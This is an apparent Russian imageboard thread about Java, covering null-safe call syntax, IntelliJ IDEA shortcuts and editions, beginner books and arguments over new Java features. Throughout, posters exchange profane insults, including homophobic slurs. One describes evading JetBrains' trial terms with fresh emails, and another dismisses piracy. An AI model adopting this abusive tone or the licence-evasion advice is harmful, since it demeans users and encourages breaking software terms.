Это модель, когда у тебя расширяется тип, а не сужается? Ну т.е. как в котлине? Ну в жабе это принципиально невозможно достичь из-за примитивов. Тип, что должно вернуть
String str = null;
str?.length();

?
Или ты сигнатуру метода изменить хочешь?
Аноним 15/10/23 Вск 14:05:08 #191 №2879659 
Какие же всратые шрифты в VSCode. Ошибки, выводящиеся в центр экрана, а не в консоль внизу - это же пиздец. Управление с клавы - полная хуета, даже между вкладками по Alt + -> не переключиться.

Какое же всратое все в Eclipse!

Обе ИДЕшки жрут столько же памяти, как Идея.
Последняя версия Идеи еще и быстрее всех стартует. Как от этого отказаться?!
Аноним 15/10/23 Вск 14:16:25 #192 №2879688 
>>2879659
Купи идею, если у тебя ком разработка.
Кстати, смотрю ты энжоер юзер прям, научишь...?
Аноним 15/10/23 Вск 14:26:38 #193 №2879715 
>>2879688
Так они перестали продавать в РФ и РБ
https://blog.jetbrains.com/blog/2022/12/06/update-on-jetbrains-statement-on-ukraine

У меня не еще не ком.разработка, но переучиваться на эти я ебал. Эклипс просто явно для босоногих индусов, а в VSC документация говна, в которой одна статься написана на половину дядей Фёдором, наполовину - псом Шариком.
В Идее есть подробная документация, подсказки на старте, обучающий курс и одностраничная PDF-ка по кнопкам
https://resources.jetbrains.com/storage/products/intellij-idea/docs/IntelliJIDEA_ReferenceCard.pdf

Что ты не понял в Идее?
Аноним 15/10/23 Вск 14:32:23 #194 №2879724 
>>2879688
Даже блять ; в конце выражения, в которую вечно хуй попадёшь в Идее можно поставить по Ctrl + Shift + Enter, а VSC - нет.
Для кого они делают продукт, я не понимаю.
Аноним 15/10/23 Вск 14:43:06 #195 №2879747 
>>2879715
Если не ком, то есть комунити версия ж. Пасиб за пдфку, кста.

Сейчас и не припомнишь, обычно когда кожу возникает же. Но вот например приоритеты, как отсортировать сниппеты так, чтобы sou был не souf, а sout.
Ещё вроде есть фича, что можно не писать
Type type = new Type();
Тип она умная и сама как-то заполнить могет. В идеале б она ещё и интерфейсы выбирала, вместо типа.
Аноним 15/10/23 Вск 14:55:39 #196 №2879762 
>>2879747
Вообще,
<Ctrl + пробел> это предложить варианты,
<Ctrl + Shift + пробел> авто-подстановка рекомендуемого
<Ctrl + Shift + Enter> авто-завершение стандарта типа
Type type = new ...

В случае с sout/souf я бы просто напечатал sou и выбрал из списка в меню, которое откроется, нужный вариант.
Не приходилось сортировать этот предлагаемый список
Аноним 15/10/23 Вск 14:57:51 #197 №2879763 
>>2879747
Комунити версия - говно
Я пока что каждый месяц на новую почту регистрирую триал но в Условиях использования уже запретили повторные триалы на одно лицо.
Аноним 15/10/23 Вск 15:02:45 #198 №2879768 
16963366051240.png
в чем отличие калмунити и ултимейт идей?
Аноним 15/10/23 Вск 15:08:29 #199 №2879771 
>>2879762
Ты похоже не поняв. Я хочу написать new Type(), а остальное путь идея напишет. Т.е. левую часть, а не правую. Не помню уж зачем мне именно так надо было.
Ещё интересно, можно ли сниппеты накидывать на выделенную часть.
Типа sout обернёт в себя все выделенное.
Аноним 15/10/23 Вск 15:08:54 #200 №2879773 
>>2879434
хуйню какую-то придумывают
ввели бы уже ключевое слово struct и не ебали мозгу
Аноним 15/10/23 Вск 15:10:53 #201 №2879775 
>>2879773
А че оно делать должно?
Аноним 15/10/23 Вск 15:22:32 #202 №2879784 
>>2879771
>сниппеты накидывать на выделенную часть
<ALt + Ctrl + T> и там есть опция настроить Live Templates.

>Я хочу написать new Type(), а остальное путь идея напишет
О таком я не знаю, сорри.
Аноним 15/10/23 Вск 15:28:54 #203 №2879790 
>>2879775
структуру
Аноним 15/10/23 Вск 16:11:03 #204 №2879833 
>>2879724
В идее есть хоткей на точку с запятой в конце строки? Ебать
Аноним 15/10/23 Вск 16:11:50 #205 №2879834 
>>2879771
new Type.var
Аноним 15/10/23 Вск 16:17:17 #206 №2879837 
>>2879552
в котлине и жс возможно, а в джаве никак?
Аноним 15/10/23 Вск 16:18:02 #207 №2879838 
>>2879784
>>2879833
Какие вы няшки, спасиба.
>.var
А как final перед заставить ставить...?
Аноним 15/10/23 Вск 16:19:35 #208 №2879839 
>>2879837
Тебе дали значение в которое вообще невозможно запихнуть null.
Ты же что хочешь сделать? Нахуя ты его запихать туда хочешь?
Аноним 15/10/23 Вск 16:21:35 #209 №2879842 
>>2879640
Да, хочу как в котлине.
Заебало писать
Optional.ofNullable(fizz.getUser()).map(User::getName).orElse(null)
хочу
fizz.getUser?getName()

Неужели я так много прошу?
Аноним 15/10/23 Вск 16:31:01 #210 №2879851 
>>2879763
>>в Условиях использования уже запретили
Думаешь тебе эфбиай в дом вломится и арестует за пиратский софт?

>>Я хочу написать new Type(), а остальное путь идея напишет. Т.е. левую часть, а не правую.
ctrl + alt + v попробуй
но я варами пользуюсь, чтоб слева не писать.

>>в чем отличие калмунити и ултимейт идей?
Поддержка мавена, датагрипа, фич для контейнеров, других языков. Говорят что то про спринг, но я хз что там в комунити спрингового не работает.
Аноним 15/10/23 Вск 16:48:34 #211 №2879889 
>>2879842
А нахуя так писать? Назови хоть один профит от этой поеботы.
Аноним 15/10/23 Вск 17:04:23 #212 №2879915 
image.png
>>2879889
Можно такой метод еще сделоть. Через аспекты, возможно, можно перехватить все возможные вызов и возвращать null, но тогда магии автобоксингов не случица, да и грязь это лютая.
Аноним 15/10/23 Вск 17:14:52 #213 №2879929 
>>2879851
Поддержка мавена в коммьюнити есть. Датагрип - вообще отдельный продукт, равно как и идешки для других языков. Скорее всего ты напутал ультимейт идею с all-products pack'ом.
Аноним 15/10/23 Вск 17:16:49 #214 №2879931 
>>2879915
Насчет аспектов, эт нереально. Когда я запихну null в тайп дженерика, то я сотру всю информацию о типе и соответственно методах и тогда будет невозможно создать проксю на его основе.
То, что котлин на этапе компиляции вставляет такие проверки замечательно, конечно, но я все еще не понимаю цели всего этого. Поскольку ты только продляешь существование null значения. Нахуй так делать спрашивается?
Аноним 15/10/23 Вск 17:33:00 #215 №2879965 
А есть вообще разница между метод реферансами и анонимными функциями?
Какая разница написать (x -> x.toString) или (Object::toString) например?
Почему мне идея лямбды подчеркивает как ошибку постоянно?
Аноним 15/10/23 Вск 17:47:17 #216 №2879997 
>>2879965
>Почему мне идея лямбды подчеркивает как ошибку постоянно?
пушто ты пидар епта
Аноним 15/10/23 Вск 18:14:19 #217 №2880046 
>>2879997
А может ты пидар ?
Аноним 15/10/23 Вск 18:31:55 #218 №2880075 
>>2879965
Разобрался, баг идеи, должно быть наоборот.
Аноним 15/10/23 Вск 19:42:47 #219 №2880199 
А если не секрет в чем плюшки не комьюнишной идеи?
Аноним 15/10/23 Вск 21:09:28 #220 №2880336 
>>2879965
Никакой разницы, анон. Это баг в маняподелке жидбрейнс. Вариант с иксом даже читабельнее. Если расскажешь о нем на собесе, то собеседующий сразу поймет, что ты шаришь.
Аноним 15/10/23 Вск 21:18:33 #221 №2880361 
Cabine пользуется кто? Год назад пробовал,было говно
Аноним 15/10/23 Вск 21:56:15 #222 №2880406 
>>2880361
че за залупа
Аноним 15/10/23 Вск 22:29:46 #223 №2880421 
>>2880406
Ты дурак
Аноним 15/10/23 Вск 23:50:45 #224 №2880467 
>>2879837
Наркоман, что ли? Как ты себе представляешь валидацию любых данных, что приходят в рантайме без рантайм эксеппшенов?
Аноним 15/10/23 Вск 23:53:29 #225 №2880468 
>>2879931
НУ ВОО ПАТАШТУМА ЭТА ДАЖВА ХОЧУ ДЖАВА НЕТ ПОНЯЛ НАДО)))))
Аноним 15/10/23 Вск 23:57:32 #226 №2880472 
new? List<Mam> = null.dolboyob()
Аноним 16/10/23 Пнд 00:23:39 #227 №2880489 
image.png
>>2880472
Аноним 16/10/23 Пнд 00:45:35 #228 №2880499 
>>2880467
>>fizz?getUser?getName()
>>Как ты себе представляешь валидацию
if (fizz == null) return null;
else if (fizz.getUser() == null) return null;
return fizz.getUser().getName()

Только писать это должен не я, а компилятор.
Аноним 16/10/23 Пнд 00:47:45 #229 №2880502 
>>2880499
Мань, так нулл рестриктед совсем не про это и объяснял ты не это.
Аноним 16/10/23 Пнд 00:48:58 #230 №2880503 
>>2880502
Я и говорю что он не про, нахуй ты его вообще приплел идиотина?
Аноним 16/10/23 Пнд 00:50:44 #231 №2880505 
>>2880499
Ты объясни нахуя эту ебанину должен делать компилятор? Зачем сука продлят жизнь налл значения, без специального типа как в котлине?

Если тебе реально так надо, сделай аннотацию и аст изменяй, как ломбок.
Аноним 16/10/23 Пнд 00:51:05 #232 №2880506 
>>2880503
Ты совсем что ли охуел? Изначально вкинут был джеп, а потом ты уже высрался со своим говносинтаксисом петухлина.
Аноним 16/10/23 Пнд 08:46:58 #233 №2880599 
new Либо<String, LinkedList> либоСтрокаЛибоСписок = linkedList.map(
ifNull -> yield "ядолбаеб и пупуня а лист пустой",
nonNullList -> _+=()" мам я долбаеб")

return либоСтрокаЛибоСписок.fold(
message -> STR."{'message': '\{message}', 'status': 'OK'}",
list -> STR."{'your list': '\{list}', 'status': 'OK'}")
Аноним 16/10/23 Пнд 09:11:25 #234 №2880609 
я тебя трахну
Аноним 16/10/23 Пнд 09:31:50 #235 №2880617 
Посоветуйте литературы, чтобы с нуля, чтобы хорошо.
Аноним 16/10/23 Пнд 09:34:10 #236 №2880618 
>>2880617
Егор Бугаенко - Элегантные объекты
Аноним 16/10/23 Пнд 09:41:59 #237 №2880628 
>>2880617
Владимир Жириновский - Азбука Секса
Аноним 16/10/23 Пнд 09:45:59 #238 №2880632 
>>2880617
D. Knuth The Art of Computer Programming
M. Herlihy The Art of Multiprocessor Programming
Аноним 16/10/23 Пнд 10:13:15 #239 №2880659 
Прод за выходные не упал,молодцы пупуни
Аноним 16/10/23 Пнд 10:21:14 #240 №2880677 
>>2880617
Привет,
Andrew Troelsen, Phil Japikse - Pro C# 10 with .NET 6
Andrew Lock - ASP.NET Core in Action
+ https://learn.microsoft.com/en-us/dotnet/csharp/

Параллельно можно смотреть:
https://www.youtube.com/channel/UCq8LldVrjqe61KQttZlLW8g
https://www.youtube.com/channel/UC-ptWR16ITQyYOglXyQmpzw
https://www.youtube.com/channel/UCrkPsvLGln62OMZRO6K-llg

После этого можно устроиться джуном
Аноним 16/10/23 Пнд 10:33:29 #241 №2880695 
>>2880677
Спасибо большое, ещё за ссылки, все посмотрю, буду учиться.
>>2880632
Тоже спасибо, но тут англюсик, надо будет ещё его учить
>>2880618
Большое спасибо, тоже прочту
>>2880628
Отдельное спасибо, хоть это скорее всего не по теме, но чувствую ебаться мне придется много.
Аноним 16/10/23 Пнд 10:34:07 #242 №2880697 
>>2880695
>но тут англюсик
Первая переведена топово.
Аноним 16/10/23 Пнд 10:59:53 #243 №2880741 
>>2880677
Почему в дотнете выбрали мерзкий асинк вместо виртуальных тредов? А так вроде язык во всём лучше джавы. Думаю вкатываться, спс за ссылки
Аноним 16/10/23 Пнд 11:09:36 #244 №2880765 
>>2880741
>мерзкий асинк вместо виртуальных тредов
>язык во всём лучше джавы
Аноним 16/10/23 Пнд 11:46:21 #245 №2880815 
Пиздосе, шилда рекомендуют, а там талмуды на тысячу страниц. Как можно что то там выучить вообще. Пока один раздел перекопаешь, забудешь что было в 3 других.

Рекомендуют тут иметь глобальные цели. Ну предположим, у меня есть на примете апишка хуйни с которой я могу сосать данные. Хочу сделать сайт, где можно будет хуевертить этой апишкой мышкой, ну там сортировочки, поиски, и прочая залупа. А как это делать? Мне книжку открывать и пытаться искать по ключевым словам, которые могут быть, а могут и не быть в этой книге?

А что там про написание кода? Ну там чистый код. Я так понял, до сих пор блять не пришли к единому мнению, и каждый трактует понятие чистого кода как ему хочется, ведь он так понял и он так видит.

Всё это батхерт от того, что придется потратить сотни жопасчасов на изучения языка и набив шишек. При этом можно же по человечески, не проходя каждый раз по граблям. Но что то блять в этом мире пошло не так. Хотя наверно я просто тупой, отрицать не буду.
Аноним 16/10/23 Пнд 12:02:43 #246 №2880834 
>>2880815
Чел, учить придется. Сейчас конкурс 1к человек на вакансию и у них у всех эти томики шилда и документация спринга от зубов отскакивает. Дальше будет хуже. Поэтому если не готов 24/7 работать и учиться с горящими глазами, то айти это не твоё. Айти - это должно быть твоё хобби, твой смысл жизни. Ты ж не хочешь как заводское быдло отработать 8 часов и вообще ни о чем больше не думать и спокойно попивать пивко и мацать жену за сиську? Ты хочешь читать талмуды и документацию постоянно, вносить новые фичи, фиксить баги, жить проектом, быть в постоянном напряжении. Поэтому терпи, пока другие живут нормальной жизнью. Ты выше этого.
Аноним 16/10/23 Пнд 12:25:17 #247 №2880860 
>>2880834
О, я заводобыдло, хочу пить пиво мацать жену за сиську и клацать по кнопкам получая денюжку
Аноним 16/10/23 Пнд 12:38:54 #248 №2880883 
>>2880834
Ну ладно, не мое, пойду дальше админить сетку и нихуя не делать.
Аноним 16/10/23 Пнд 13:47:16 #249 №2880972 
>>2880815
>Рекомендуют тут иметь глобальные цели. Ну предположим, у меня есть на примете апишка хуйни с которой я могу сосать данные. Хочу сделать сайт, где можно будет хуевертить этой апишкой мышкой, ну там сортировочки, поиски, и прочая залупа. А как это делать? Мне книжку открывать и пытаться искать по ключевым словам, которые могут быть, а могут и не быть в этой книге?

Примерно. Декомпозируешь проект на отдельные задачи. Читаешь гугл или книжку до тех пор, пока не выполнишь одну из задач. Если что-то не получается - возвращаешься и читаешь заново. Повторяешь, пока не закончишь проект. Начинаешь новый.

В следующих итерациях рано или поздно начнешь понимать, где у тебя пробелы в знаниях, какие вещи делать слишком муторно, где у тебя бардак, где копипаст и из-за чего в основном возникают ошибки.
Фокусируешься на этих вещах, гугли, читаешь, пробуй сделать проще/лучше.
Аноним 16/10/23 Пнд 14:02:57 #250 №2880994 
>>2880617
Я пару месяцев назад начал книгу Хорстманна
В целом хорошо, только немного сумбурное повествование
Аноним 16/10/23 Пнд 14:11:06 #251 №2881008 
>>2880994
>>2880695
Прочитал, что ты английский не знаешь, если возьмёшь эту книжку, сравнивай периодически с новым оригинальным изданием, там в переводе хуйни нагородили и ошибок добавили.
Аноним 16/10/23 Пнд 14:21:16 #252 №2881021 
Энтри-левел книги по джаве реально хуйня, не знаю как челы осиливают без бэкграунда в других языках.
Аноним 16/10/23 Пнд 15:17:51 #253 №2881095 
Здарова, ДИНОЗАВРЫ. Что, всё ещё на жабе пишете? ХАХАХААХХААХБ НА ЖАБЕ РЕАЛЬНО ПИШУТ В 2к23
Аноним 16/10/23 Пнд 17:13:17 #254 №2881282 
>>2881095
На 5 джаве пишу...
Аноним 16/10/23 Пнд 17:57:23 #255 №2881329 
>>2881095
А что есть то, что лучше джавы по всем параметрам, в том числе и по вакансиям, и новее него ?
Аноним 16/10/23 Пнд 18:43:38 #256 №2881423 
>>2881095
Конечно на ней пишут в 2кij. Будут писать и когда ты школу закончишь, и когда поступишь, и когда работу начнёшь искать, женишься, возьмёшь ипотеку, заделаешь личинку, сам увидишь — будут писать. А пока ковыряйся в своих игрушках, это, так сказать, естественно для возраста.
Аноним 16/10/23 Пнд 19:07:33 #257 №2881460 
>>2881095
Пишу на груви, ссу тебе на ебало
Аноним 16/10/23 Пнд 19:32:15 #258 №2881494 
Так ребятка медвежатки, хочу у вас спросить, а где собственно лучше всего набирать свой код?
Аноним 16/10/23 Пнд 19:38:38 #259 №2881508 
>>2881494
В текстовом редакторе от JetBrains.
Аноним 16/10/23 Пнд 19:40:31 #260 №2881512 
>>2881460
Жесть бля. С тем же успехом мог на JS писать. То же говно, только чуть более востребованней.
Аноним 16/10/23 Пнд 19:55:42 #261 №2881523 
>>2881494
На листе A4
Аноним 16/10/23 Пнд 20:39:24 #262 №2881599 
>>2881494
В области боков и ягодиц
Аноним 16/10/23 Пнд 20:42:23 #263 №2881607 
Стендап шоу окончено?
Аноним 16/10/23 Пнд 20:50:24 #264 №2881624 
>>2881607
Нет, до бамплимита будет такой же вайп.
Аноним 16/10/23 Пнд 20:58:10 #265 №2881640 
>>2881607
Окончил тебе за щеку
Аноним 16/10/23 Пнд 21:02:54 #266 №2881646 
>>2881624
Ты хотел сказать вайб?
Аноним 16/10/23 Пнд 21:13:17 #267 №2881663 
>>2874645 (OP)
>Мы, как Java-волшебники, работаем с абстракциями настолько высокими, что звёзды недоумевают
Вы вообще читали эту шапку? Это же уморительно!
Аноним 16/10/23 Пнд 21:16:12 #268 №2881667 
>>2881494
Коды.
Аноним 17/10/23 Втр 00:07:04 #269 №2881790 
image.png
image.png
>>2874645 (OP)
Нюфаг на этой вашей джаве, как провалиться в реализацию пользовательского класса? То есть при ctrl + клик по типу переменной должен меня отправить с пикрил1 на пикрил2, но этого не происходит. Почему так?
Аноним 17/10/23 Втр 00:11:08 #270 №2881793 
>>2881790
пушто ты пидар епта
Аноним 17/10/23 Втр 00:15:49 #271 №2881794 
>>2874645 (OP)

> 😎🚀🔮

Ты ебанутый? Возвращайся в свой дискорд и расставляй эмодзи там

> Потоки без швов, словно магия!

Просто хуйня. Гринтреды существуют в каждом языке уже лет как десять. И даже тут жабапидоры смогли обосраться и сделали эвентлуп из семи залуп

> Pattern Matching: Проверки данных на стероидах.

Невероятно тупая хуйня, хуй пойми как работающая в разных контекстах, транслирующаяся в хуй пойми какой байткод, так ещё и с ограничениями на вложенность паттернов и доступных для матчинга примитивов (только рекорды, без объектов)

> String Interpolation - вставка переменных просто как ABC.

Просто напоминаю, почти 2024 год.

---

Просто не позорьтесь, дорогие жабапидоры. Я советую этот релиз молча схавать и никому об этом никогда не рассказывать. Тем из вас, кому реально хоть немного стыдно за эту хуйню, предлагаю всё-таки выучить нормальный язык типа Erlang, Elixir или Ruby и не ебать больше никому мозги
Аноним 17/10/23 Втр 00:28:34 #272 №2881800 
>>2881794
>Гринтреды существуют в каждом языке уже лет как десять.
Ну и где они в шарпе?
А в петухон или жс, вообще один реальный поток.
>хуй пойми какой байткод
Invokedynamic же.
>Просто напоминаю, почти 2024 год.
И в каком яп есть проверка встроенная?
Аноним 17/10/23 Втр 00:41:57 #273 №2881809 
Почему на джаве не прогают всякие контроллеры и беспилотники? Я хочу их попрогать, но не хочу трогать си плас плас.
Аноним 17/10/23 Втр 00:49:31 #274 №2881813 
>>2881790
сам свои донатные помойки варгань
Аноним 17/10/23 Втр 00:50:24 #275 №2881816 
>>2881809
гаджеты для авто, навигаторы, пульты. Тебе мало?
Аноним 17/10/23 Втр 00:53:04 #276 №2881818 
>>2881809
https://stackru.com/questions/47317075/pochemu-ispolzovanie-java-nebezopasno-v-bespilotnyih-letatelnyih-apparatah
Аноним 17/10/23 Втр 00:55:49 #277 №2881820 
>>2881813
>>2881793
На этой чепухе реально нет базовых фич нормальных идешек? И у вас петушков подгорает от зависти к белым людям имеющим возможность провалиться куда угодно в один клик без лишнего пердолинга?
Аноним 17/10/23 Втр 01:00:04 #278 №2881822 
>>2881820
У всех эта хуйня из коробки работает
Что ты там напортачил никто разбираться не хочет. Твои проблемы ты и ебись.
>>2881818
Ахуительные невыдуманные проблемы. Отключить gc - как мооожно. И ещё в самолётах вообще древняя хуйня стоит, какая жаба, уверен там кобол до сих пор или вообще на плате все распаяно
Аноним 17/10/23 Втр 01:00:23 #279 №2881823 
>>2881820
> ИТА НЕ Я ЕБЛАААН!!!! НУ МААААМ!
Аноним 17/10/23 Втр 01:02:10 #280 №2881824 
>>2881822
https://qna.habr.com/q/352554
Аноним 17/10/23 Втр 01:07:54 #281 №2881828 
>>2881824
>Второй важный для отрасли язык — разработанный ещё в конце 70-х годов Ada." Там же упоминается ОС реального времени QNX. Разумеется есть масса отдельных программ у отдельных узлов, так же как в квадракоптерах у каждого двигателя отдельный регулятор с отдельным чипом с программой.
Как и я сказал, старье или вовсе распаяно. А ещё cpp говно ебаное. Си гораздо лучше.
Аноним 17/10/23 Втр 01:08:39 #282 №2881829 
>>2881828
ну тебе там пояснили почему ада.
Аноним 17/10/23 Втр 04:43:01 #283 №2881871 
>>2880741
Чем лучше-то, мушаня?
Аноним 17/10/23 Втр 04:45:34 #284 №2881873 
>>2881800
НИИИИИЕЕЕЕТЕТ У НАС ИСИЬТТ $ ЗНАЧЕТ ФАЕ КАК ВЖОПЕ!!! ОЙ ВЖАБЕ!!!!
Аноним 17/10/23 Втр 04:49:33 #285 №2881874 
НИНУЖНО!
Аноним 17/10/23 Втр 04:52:49 #286 №2881876 
>>2881790
А вот и 200 рублёвая школота пожаловала.
Аноним 17/10/23 Втр 04:57:05 #287 №2881877 
>>2881818
ZGC в помощь. Тут больше проблема в том что не каждый захочет полноценный пк отправлять на бошку хохпротивнику.
Аноним 17/10/23 Втр 05:41:29 #288 №2881878 
>>2881790
В интеллекте даркула дебила никто не сомневался
Аноним 17/10/23 Втр 07:43:51 #289 №2881893 
Хочу лямбды.
Аноним 17/10/23 Втр 08:08:03 #290 №2881898 
>>2881893
Есть такая штука, Kotlin называется
Аноним 17/10/23 Втр 08:13:43 #291 №2881901 
image.png
image.png
Аноны, помогите...
Что-то совсем запутался в Compact String

Пишут в openjdk: если всем символы строки умещаются в 1 байт, то юзаем utf-8 (1 байт на символ), иначе utf-16 (2 байта на символ)

We propose to change the internal representation of the String class from a UTF-16 char array to a byte array plus an encoding-flag field. The new String class will store characters encoded either as ISO-8859-1/Latin-1 (one byte per character), or as UTF-16 (two bytes per character), based upon the contents of the string. The encoding flag will indicate which encoding is used.


Вот мой код: https://pastebin.com/kc52uPNg
Всё работает как в доке, когда у меня строка либо чисто латиница, либо чисто кириллица.

Но когда у меня смесь кириллицы и латиницы, то у меня не все символы кодируются в utf-16, а только те, что не влазят. Хотя написано, что строка должна быть полностью utf-16


Если чекнуть реализацию класса String (пик2), то у нас там общая кодировка на ВСЮ строку.

Вообщем, я запутался, аноны, помогите, пж
Аноним 17/10/23 Втр 08:23:22 #292 №2881910 
>>2881901
У меня есть идея, что мы незначащий байт опускаем, но вообще это странно, ведь мы всё равно так и так должны за выделенную память считать
Аноним 17/10/23 Втр 10:18:44 #293 №2881999 
image.png
image.png
>>2881822
Только установил эту шляпу, открыл первый попавшийся проект - такая херня. Это типа нормально по дефолту никак не подсвечивать типы и прочую херь? Цветные буковки же для дебилов придумали.

>>2881876
Тебе мои 200 рублей в рот не влезут, детсадовец.
Аноним 17/10/23 Втр 10:29:30 #294 №2882003 
>>2881999
Что за иде, IDEA? Если оно то у тебя похоже не выбран sdk для проекта. Открой projects structure в вкладке File и в project выбери версию джавы.
Аноним 17/10/23 Втр 11:07:42 #295 №2882036 
>>2880617
>>2880618
>>2880628
>>2880632
>>2880677
>>2880994
Пиздец блядь, толпы ебанатов на приколе. Единственная нормальная книга для нуфажин это шилдтовысер.
Аноним 17/10/23 Втр 11:09:16 #296 №2882040 
>>2881999
>школьник практикуется в боксе по переписке
Что и требовалось доказать.
Аноним 17/10/23 Втр 11:12:25 #297 №2882045 
>>2881901
Потому, что ты хуйню делаешь. getBytes не даёт то, что ты думаешь. Посмотри на реализацию. Чтобы получить реальное значение нужна рефлексия.
И вообще, ты та тянка?
>>2881999
Подсвечивать типы - это васянство ебаное. Они видны ввиду нотации CamelCase. Если так хочеца - смени тему.
И вообще притензии была в том, что ты прыгать куда-то не можешь. Че таки разобрался, рукожопище?
Аноним 17/10/23 Втр 11:16:21 #298 №2882048 
>>2882036
Шилдт с середины книжки перепечатывает сайт оракла лмао.
Аноним 17/10/23 Втр 11:18:04 #299 №2882049 
>>2882048
Сайта оракла на русском нет.
Аноним 17/10/23 Втр 11:20:53 #300 №2882051 
>>2882036
Ответ весьма бесцеремонный и грубый, но содержит рекомендацию, за что автора поста можно поблагодарить.
Аноним 17/10/23 Втр 11:23:32 #301 №2882055 
>>2882051
Чат гпт научился писать коротко?
Аноним 17/10/23 Втр 14:15:14 #302 №2882273 
>>2881818
Шарпистская перемога тредом 2014 года, как типично.
Аноним 17/10/23 Втр 14:27:15 #303 №2882286 
>>2881809
В теории, ты можешь попробовать. На SoC джава легко залезет, а футпринт можно усечь, юзая со старта модули, jlink и AOT.

На практике, ты столкнешься скорее всего с нехваткой готового инструментария и матчасти. В самой по себе JVM нет ничего дилбрекерского, равно как нет ничего плохого в GC, если он современный и правильно настроен. Все инициативы в джаве порезаны искусственно тупорылым культом спринга, который оккупировал собой все сообщество джавистов. Жирному Спрингу в эмбеддед делать действительно нечего, потому что это огромный кусок старого кала с рефлексией. Но без спринга у культистов начинается ломка и они нихуя сделать не в состоянии. Поэтому корпораты и не спешат брать джаву в эмбеддед.
Аноним 17/10/23 Втр 14:41:13 #304 №2882300 
>>2882286
Пора портировать ASP.NET CORE на джаву
Аноним 17/10/23 Втр 15:07:08 #305 №2882340 
>>2881800

> И в каком яп есть проверка встроенная?

Erlang, ещё с 1980-ых

> Ну и где они в шарпе?
> А в петухон или жс, вообще один реальный поток.

Нихуя себе, так мы теперь на инвалидов ориентируемся?

> Invokedynamic же.

Об этом я и говорю
Аноним 17/10/23 Втр 15:11:37 #306 №2882346 
>>2882340
Скинь доку по ерлангу.
> Нихуя себе, так мы теперь на инвалидов ориентируемся?
Ну ты сам хуйнул квантор всеобщности. Если речь идёт о фп, то так и говори.
>Об этом я и говорю
Не оч понял, про что ты говорил. invokedynamic имеет чёткую спеку.
Аноним 17/10/23 Втр 15:38:30 #307 №2882388 
>>2881794
У тебя есть два пути.

Или трудоустраивайся в оракл и этот вот гонор свой детский вываливай Гойцу, как им надо было все сделать правильно. Например, каким раком ты собрался поддерживать паттерн-матчинг для классов, не выворачивая наизнанку их сокрытие данных. Или каким раком ты себе видишь имплементацию виртуальных тредов, который бы не красил методы, не ломал обратную совместимость и не менял кардинально практики разработки.

Или иди нахуй из треда в свой эликсир-загон. Как человек, сведущий помимо джавы в хаскелле, ссу рубисту-переможнику манямирковому на ебало.
Аноним 17/10/23 Втр 16:18:07 #308 №2882430 
>>2882346

> Скинь доку по ерлангу.

Ты это из каких трущоб сидишь, что двач у тебя работает, а гугл нет?
Аноним 17/10/23 Втр 16:21:09 #309 №2882432 
>>2882430
В такой, которой я не собираюсь принципиально искать что-то за собеседника. Ты спизданул - ты и доказывай. Я не понимаю, почему у людей от этого так горит..
Аноним 17/10/23 Втр 16:26:15 #310 №2882438 
>>2882388

> каким раком ты собрался поддерживать паттерн-матчинг для классов, не выворачивая наизнанку их сокрытие данных

Ты совершенно прав, анон. Я никак это не вижу. Это никак не сделать. И это очередной пруф того, что Java это мёртвая ветвь развития. На неё не натянуть современные фичи, у языка просто невероятно уёбищный дизайн.

> Или каким раком ты себе видишь имплементацию виртуальных тредов, который бы не красил методы, не ломал обратную совместимость и не менял кардинально практики разработки.

Никак, анон, ты опять совершенно прав. И опять, из всего этого следует что Java это ущербный язык, который уже пора закапывать и забывать нахуй. Его ничто не избавит. Его даже не ждёт учесть JavaScript-а, который становится просто таргетом для компиляции, Java не будет таргетом, её просто пора забыть. Паттерн-матчинг и виртуальные треды в Java, это как ООП в Cobol: чисто технически можно захуярить, но оно будет так кастрировано и настолько чужеродно для экосистемы, что всем тупо будет похуй

> сведущий помимо джавы в хаскелле

> СЫНАА, СЫНА, ХВАТИТ В КОМПЛЮКТОРЕ СИДЕТЬ, ИДИ СЮДА, БОРЩИК ВОТ СДЕЛАЛА ВКУСНЕНЬКИЙ, СЫНААА, ПРОГРАММИСТУШЕК МОЙ ТРИДЦАТИЛЕТНИЙ
Аноним 17/10/23 Втр 16:29:23 #311 №2882441 
>>2882438
>Это никак не сделать
Вче,что он написал уже сделано. Ты бредишь? Хоть один свой тезис подкоепи чем-то окромя, а воооот в обосраном фп давно уже все сделали.
Спрашивается, а че ж тогда ваш ебаный фп модель памяти не продвинул как жаба в 1.5?
Аноним 17/10/23 Втр 16:31:34 #312 №2882445 
>>2882441

Это ты бредишь, мы говорили про pattern matching над обычными объектами, а не над рекордами, датаклассами или там case-class-ами.
Аноним 17/10/23 Втр 16:32:54 #313 №2882448 
>>2882432

Нихуя себе какой ты принципиальный. Какие ещё принципы есть, расскажи?
Аноним 17/10/23 Втр 16:36:09 #314 №2882455 
>>2882438
>Паттерн-матчинг и виртуальные треды в Java, это как ООП в Cobol: чисто технически можно захуярить, но оно будет так кастрировано и настолько чужеродно для экосистемы, что всем тупо будет похуй
Двачую, емко описал мои размышления в последние 3 года наблюдения за джепами.
Аноним 17/10/23 Втр 16:44:08 #315 №2882472 
>>2882438
>И это очередной пруф того, что Java это мёртвая ветвь развития

И почему твои непрошенные маняразмышления должны меня как то трогать или волновать? Ты же просто рандомная сердобольная чмоня с комплексом неполноценности, и вся твоя нитка - пруф этому железобетонному факту. Если б это было не так, тебе было бы тупо похуй - на джаву, на джавистов и на то, че там у них происходит. Но ты ж тупо созависим, ты не можешь не высраться. Ты не нужен. Сходи убейся.
Аноним 17/10/23 Втр 16:47:24 #316 №2882476 
>>2882438
>Его даже не ждёт учесть JavaScript-а, который становится просто таргетом для компиляции, Java не будет таргетом, её просто пора забыть. Паттерн-матчинг и виртуальные треды в Java, это как ООП в Cobol: чисто технически можно захуярить, но оно будет так кастрировано и настолько чужеродно для экосистемы, что всем тупо будет похуй

Тыж даже сам не понимаешь, че за чушь ебаную ты несешь. Просто порвался и высрался, а по делу ноль сказал.
Аноним 17/10/23 Втр 16:48:28 #317 №2882478 
>>2882438
> учесть
Провинциальное быдло, спокнись
Аноним 17/10/23 Втр 16:49:24 #318 №2882481 
>>2882445
>мы говорили про pattern matching над обычными объектами
>каким раком ты собрался поддерживать паттерн-матчинг для классов
Яснаа. Ебать манямирок, удачи чмонь.
Аноним 17/10/23 Втр 16:52:16 #319 №2882485 
>>2882448
Есть ещё один, если ты не ищешь сам все что я нахожу истина. https://stackoverflow.com/questions/15129443/erlang-and-sql-injection-attacks
Ты пиздабол. А ещё давай объясняю чем тебе Invokedynamic не зашёл. Тыж просто выспался нихуя не понимая по сабжу
Аноним 17/10/23 Втр 16:57:34 #320 №2882490 
scrot210330194828.png
>>2882472

